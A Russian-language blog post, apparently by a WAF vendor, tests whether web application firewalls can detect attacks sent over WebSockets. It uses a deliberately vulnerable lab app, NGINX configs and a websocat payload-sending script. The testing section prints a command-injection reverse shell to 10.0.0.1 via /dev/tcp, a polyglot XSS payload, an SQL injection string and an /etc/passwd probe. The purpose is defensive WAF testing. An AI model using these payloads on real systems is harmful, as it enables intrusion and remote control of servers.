Есть мнение, что в силу особенностей вебсокетов, WAF не может их нормально анализировать и защищать. Давайте попробуем разобраться, насколько это утверждение справедливо.
Сперва несколько слов о том что есть вебсокет и где он применяется.
Кратко о websockets
Особенности протокола
-
Работает поверх TCP-соединения.
-
Двухсторонний обмен данными в рамках постоянного соединения, в реальном времени, с минимальными накладными расходами.
-
Для установления соединения клиент формирует особый HTTP-запрос, на который сервер отвечает определенным образом, т.е. происходит переключение с HTTP на Websocket.
-
Стандартизирован IETF в виде RFC 6455 в 2011 году, актуальные данные тут
-
Может быть использован для любого клиентского или серверного приложения.
-
Поддерживается всеми современными браузерами.
-
Есть библиотеки для популярных языков: Objective-C, .NET, Python, Java, node.js, Go.
-
Для протокола есть расширение RFC 7692 для сжатия данных.
Процедура переключения с HTTP на сокеты довольно неплохо описана в википедии.
Примеры реализаций:
Go |
|
JAVA |
|
Python |
|
PHP |
|
Node.js |
|
Ruby |
Есть еще любопытные реализации типа websocketd
Еще больше информации тут https://github.com/facundofarias/awesome-websockets
Области применения:
-
Приложения реального времени: дашборды, панели мониторинга, торговые терминалы
-
Игры
-
Чат-приложения
Распространенные уязвимости и атаки на websockets
Для простоты условно разделю уязвимости на несколько групп:
-
Атаки на безопасность сеанса (Broken Access Control)
-
Cross-Site WebSocket Hijacking (CSWSH). Аналог CSRF
-
-
Атаки на бизнес логику
-
Race Conditions
-
-
DoS & DDoS
-
Неуправляемое потребление ресурсов (Resource Exhaustion): атаки, направленные на исчерпание ресурсов сервера или клиента, таких как память или процессорное время, путем создания большого количества WebSocket-соединений
-
Исчерпание количества TCP соединений
-
-
Атаки, связанные с недостаточной фильтрацией пользовательского ввода
-
Всевозможные injections (XSS, RCE, SQLi, etc)
-
SSRF
-
-
Атаки на реализацию websocket
-
Ошибки в серверах и библиотеках. Для примера
-
-
Сетевые атаки
-
Атаки «Человек посередине» (MITM): злоумышленник перехватывает и изменяет сообщения, передаваемые между клиентом и сервером
-
Сниффинг: анализ трафика WebSocket для получения конфиденциальных данных
-
Как видите, возможностей у атакующего немало, отсюда и для разработчиков WAF задача по защите выглядит непросто.
К разнообразию атак нужно еще добавить следующие нюансы:
-
Любые варианты кодирования данных, передаваемых внутри сокета: json, plaintext, сериализация, кастомные форматы, бинарные данные.
-
Сложность реализации поведенческого анализа, ввиду того, что данные передаются внутри одной сессии (соединения).
И все же многие WAF заявляют о поддержке вебсокетов…
Как протестировать WAF на защиту вебсокетов?
Тестировать будем обнаружение инъекций, т.к. это наиболее простой и наглядный сценарий, к тому же это можно считать базовой функциональностью WAF.
По результатам тестирования можно будет судить о возможностях WAF разбирать и парсить веб сокеты, а также о качестве сигнатур.
Общая логика — поднять websocket-бэкенд, настроить прохождение трафика через WAF, отправлять разнообразные payload и следить за реакцией.
Все очень похоже на обычное тестирование WAF, про которое мы уже писали ранее.
Сколько попугаев выдает ваш WAF? Обзор утилит для тестирования
Разница лишь в транспорте.
Покажу тестирование на примере нашего продукта, благо он у меня всегда под рукой
А для разнообразия попробуем несколько реализаций вебсокетов.
OWASP Damn Vulnerable Web Sockets (DVWS)
https://github.com/interference-security/DVWS
Довольно старый проект, написан на php, для вебсокетов использует библиотеку Ratchet. Приложение содержит множество уязвимостей: SQLi, Command Injection, XSS, LFI. Подробнее предлагаю посмотреть на странице проекта. При желании можно найти writeup, как пример.
Авторы не добавили в проект Dockerfile, что несколько неудобно, но это не беда, его и docker-compose можно взять из Pull request, что я и сделал, запустив приложение.
На порту 8888 будет висеть фронт, а на 8081 вебсокет.
Пример конфига NGINX для проксирования и фильтрации трафика через WMX ноду:
server { listen 80; server_name dvws.local; wallarm_mode block; wallarm_parse_websocket on; location / { proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "upgrade"; proxy_pass http://127.0.0.1:8081; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } }
Сперва нужно выполнить первоначальную настройку приложения перейдя на http://dvws.local:8888/setup.php
А теперь давайте попробуем проэксплуатировать баги и посмотреть на коммуникацию между клиентом и сервером.
На странице command-execution сначала в поле адрес вставим IP адрес:
В режиме разработчика видно что данные идут через вебсокет.
А потом попробуем добавить к нему reverse shell:
1.1.1.1; 0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196
Пример события в ЛК:
Как видите, в этом случае данные передаются в plain text, и для WAF нет особой проблемы их распарсить.
С эксплуатацией других уязвимостей DVWS ситуация схожая, давайте перейдем дальше.
Socket.io
Взглянем на Node.js имплементацию, увы, на этот раз без специально оставленных уязвимостей Возьмем пример чата из https://github.com/socketio/socket.io/tree/main/examples/chat
Запуск тестового приложения:
git clone https://github.com/socketio/socket.io cd socket.io/examples/chat/ npm i npm start
Сервис запустится на порту 3000.
Пример конфига NGINX, я не стал менять server_name, оставил dvws.local.
server { listen 80; server_name dvws.local; wallarm_mode block; wallarm_parse_websocket on; location / { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $host; proxy_pass http://127.0.0.1:3000; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "upgrade"; } }
Попробуем отправить несколько запросов и понаблюдать за коммуникацией.
Попробуем отправить какую-нибудь XSS.
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
Атаки обнаружены, TCP соединение разорвано, а в консоли управления есть соответствующие события.
Websocat
И напоследок попробуем провести более интересное тестирование. Воспользуемся websocat как для имитации сервера, так и для отправки разнообразных payload. Передаваемые данные будем сжимать используя gzip, оборачивать в json и кодировать в base64.
Для начала нужно взять бинарник со страницы проекта.
Запуск сервера:
./websocat -s 127.0.0.1:3000
Конфиг NGINX смотри выше.
Несколько примеров запуска websocat:
# простой интерактивный режим ./websocat ws://dvws.local -E # простой интерактивный режим с детальным выводом ./websocat ws://dvws.local -E -vv # Оборачивать payload в JSON, method и params. # {"jsonrpc":"2.0","id":1, "method":"f", "params":[]} ./websocat ws://dvws.local/ --jsonrpc -E # сжимать передаваемы данные gzip ./websocat ws://dvws.local/ --binary --compress-gzip -E # Отправить строку, вывести более детальный log echo "/etc/passwd" | ./websocat - log:timestamp:"ws://dvws.local" -E
Но это все для единичных запросов… Веселее будет в качестве источника payload взять:
-
https://wmx-public.gitlab.yandexcloud.net/wmx-public/gotestwaf/-/tree/master/testcases
-
https://github.com/nemesida-waf/waf-bypass/tree/master/utils/payload
-
Что-то еще на ваш выбор
Далее сформировать файлы, содержащие множество атак, а также отдельные файлы с false-positive, и прогнать пачкой. Сделать это можно подручными средствами.
payloads_send.sh
#!/bin/bash TARGET="ws://dvws.local/" FILENAME=$1 ENCODING=$2 if [[ $# -eq 0 ]] ; then echo 'Usage example: payloads_send.sh _payloads_file_ _encoding_method_' echo 'Encoding methods: plain, base64, gzip, json' exit 1 fi while IFS= read -r line do echo "$line" case "$ENCODING" in plain) echo "$line" | ./websocat $TARGET --binary -E ;; base64) echo "$line" | base64 | ./websocat $TARGET --binary -E ;; gzip) echo "$line" | gzip | ./websocat $TARGET --binary -E ;; json) echo "SOME_METHOD $line" | ./websocat $TARGET --text --jsonrpc -E ;; *) echo "$line" | ./websocat $TARGET --binary -E ;; esac shift done < "$FILENAME"
На стороне сервера можно включить запись прошедших payload в файл, чтобы потом возможно было сделать diff и понять что проходит через WAF, а что – нет.
./websocat ws-l:127.0.0.1:3000 writefile:passed.txt
Либо просто посмотреть на вывод websocat сервера в STDOUT.
Для наглядности – запустил websocat с флагом –vv и попробовал среди прочего отправить:
123) AND 12=12 AND JSON_DEPTH('{}') != 2521
Рекомендации по безопасности
-
Используйте WSS (WebSockets Secure) вместо незашифрованных websockets.
-
Используйте CSRF токены для защиты от CSWSH.
-
Проверяйте заголовок ORIGIN для защиты от CSWSH.
-
Проверяйте и экранируйте пользовательский ввод.
-
Используйте Rate Limiting для уменьшения рисков атак на отказ в обслуживании (DoS).
-
Задайте ограничения на максимальный размер передаваемых данных внутри websocket, это снизит риски DoS.
-
Используйте WAF с поддержкой websockets
-
Если в вашем WAF заявлена поддержка вебсокетов, то не лишним будет её протестировать.
Инструментарий и полезные ссылки
https://github.com/PalindromeLabs/STEWS
https://github.com/PalindromeLabs/awesome-websocket-security
https://book.hacktricks.xyz/pentesting-web/websocket-attacks
https://portswigger.net/web-security/websockets
https://github.com/PalindromeLabs/WebSockets-Playground
Заключение
В начале статьи был поставлен вопрос о возможности WAF обрабатывать и защищать websocket. Как видите WAF с этим справляется, но с некоторыми оговорками:
-
У WAF должен быть отдельный модуль или парсер заточенный под вебсокет.
-
Если ваше приложение использует расширение RFC 7692, то и WAF должен его поддерживать.
-
В WAF желателен механизм работы с false-positive.
-
Должен быть парсинг данных внутри вебсокета (json, gzip, xml, etc).
-
WAF будет очень тяжело или вовсе невозможно анализировать сообщения внутри вебсокета если используются бинарные / кастомные протоколы передачи данных.
-
Тяжело или невозможно реализовать поведенческий анализ.
Если защита вебсокетов для вас актуальна – приходите к нам на бесплатный пилот.
Удачи в защите! Буду рад конструктивной критике и дополнениям.
Подписывайтесь на канал. Здесь мы делимся информацией по продукту, нашими находками и наработками, пока они не оформляются в большой статический материал.
ссылка на оригинал статьи https://habr.com/ru/articles/847364/
Добавить комментарий